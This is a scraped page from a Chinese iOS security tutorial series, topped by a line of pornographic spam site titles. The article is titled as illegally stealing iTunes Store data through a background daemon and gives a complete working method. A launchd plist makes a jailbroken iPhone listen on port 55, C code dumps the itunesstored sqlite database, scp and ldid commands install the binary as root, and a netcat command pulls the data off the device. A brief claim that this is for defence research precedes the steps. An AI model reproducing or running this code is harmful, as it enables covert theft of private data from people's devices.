在线观看不卡亚洲电影_亚洲妓女99综合网_91青青青亚洲娱乐在线观看_日韩无码高清综合久久

鍍金池/ 教程/ iOS/ 后臺 daemon 非法竊取用戶 iTunesstore 信息
Hack 實戰(zhàn)——支付寶 App 手勢密碼校驗欺騙
使用 Reveal 分析他人 App
后臺 daemon 非法竊取用戶 iTunesstore 信息
使用 iNalyzer 分析應用程序
越獄檢測的攻與防
使用 introspy 追蹤分析應用程序
廢除應用程序的 ASLR 特性
使用 Cycript 修改支付寶 App 運行時
敏感邏輯的保護方案
Fishhook
使用 class-dump-z 分析支付寶 App
static 和被裁的符號表
iOS7 的動態(tài)庫注入
二進制和資源文件自檢
Hack 實戰(zhàn)——探究支付寶 App 手勢密碼
使用 Keychain-Dumper 導出 keychain 數(shù)據(jù)
數(shù)據(jù)擦除
Hack 實戰(zhàn)——解除支付寶 App 手勢解鎖錯誤次數(shù)限制
Objective-C 代碼混淆
阻止 GDB 依附
基于腳本實現(xiàn)動態(tài)庫注入
Hack 必備的命令與工具
鍵盤緩存與安全鍵盤
數(shù)據(jù)保護 API

后臺 daemon 非法竊取用戶 iTunesstore 信息

本人鄭重聲明:并不鼓勵竊取用戶隱私等行為,一切 hack 學習都只是為了研究如何防御。OK,進入正題。

開機自啟動

iOS 安全攻防(一):Hack必備的命令與工具中,介紹了如何編譯自己的 C 程序并手動啟動。今天介紹如何使程序變?yōu)殚_機自啟動。

首先打開 Xcode 創(chuàng)建一個 plist 屬性文件,如下圖所示:

http://wiki.jikexueyuan.com/project/ios-security-defense/images/daemon1.png" alt="daemon1" />

其中要注意一下通信服務名,我定為 55 。用編輯器打開,即為:

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">  
<plist version="1.0">  
<dict>  
    <key>Program</key>  
    <string>/usr/bin/ncdemo</string>  
    <key>StandardErrorPath</key>  
    <string>/dev/null</string>  
    <key>SessionCreate</key>  
    <true/>  
    <key>ProgramArguments</key>  
    <array>  
        <string>/usr/bin/ncdemo</string>  
    </array>  
    <key>inetdCompatibility</key>  
    <dict>  
        <key>Wait</key>  
        <false/>  
    </dict>  
    <key>Sockets</key>  
    <dict>  
        <key>Listeners</key>  
        <dict>  
            <key>SockServiceName</key>  
            <string>55</string>  
        </dict>  
    </dict>  
</dict>  
</plist>

最后,將 plist 文件 scp 至 root@192.168.1.114:/System/Library/LaunchDaemons/下 。

編寫讀取 iTunesstore 數(shù)據(jù)庫程序

讀取 itunesstored2.sqlitedb 信息,并輸出到 stdout 中,便于我們讀取。

#include <stdio.h>  
#include <fcntl.h>  
#include <stdlib.h>  

#define FILE "/var/mobile/Library/com.apple.itunesstored/itunesstored2.sqlitedb"  

int main(){  
    int fd = open(FILE, O_RDONLY);  
    char buf[128];  
    int ret = 0;  

    if(fd < 0)  
        return -1;  
    while (( ret = read(fd, buf, sizeof(buf))) > 0){  
        write( fileno(stdout), buf, ret);  
    }  
    close(fd);  
    return 0;  
}  

編譯、拷貝、簽名

編譯方法上篇文章已經(jīng)介紹清楚,這里不再重復,直接 ¥%¥#%¥……%# 生成運行在 ARM 的 ncdemo

將 ncdemo scp 到設備中,并登錄

$ scp ncdemo root@192.168.1.114:ncdemo
$ ssh root@192.168.1.114

簽名

#ldid -S ncdemo
#mv ncdemo /usr/bin

抓取 iTunesstore 數(shù)據(jù)信息

這時,我們只需要利用 netcat,指定之前定義的服務名稱,輕松在本地抓取設備 iTunesstore 信息. $ nc 192.168.1.114 55 > itunesstored2.sqlitedb

分析 iTunesstore 數(shù)據(jù)信息

好吧,這里就介紹個最簡單的應用,利用string命令查看: $ strings itunesstored2.sqlitedb

于是乎,我們就清晰的得到了 iPhone/iPad 設備上都安裝了哪些 app :

http://wiki.jikexueyuan.com/project/ios-security-defense/images/daemon2.png" alt="daemon2" />

當然,除了這些,你想干什么都可以……夜深了,先寫到這里吧……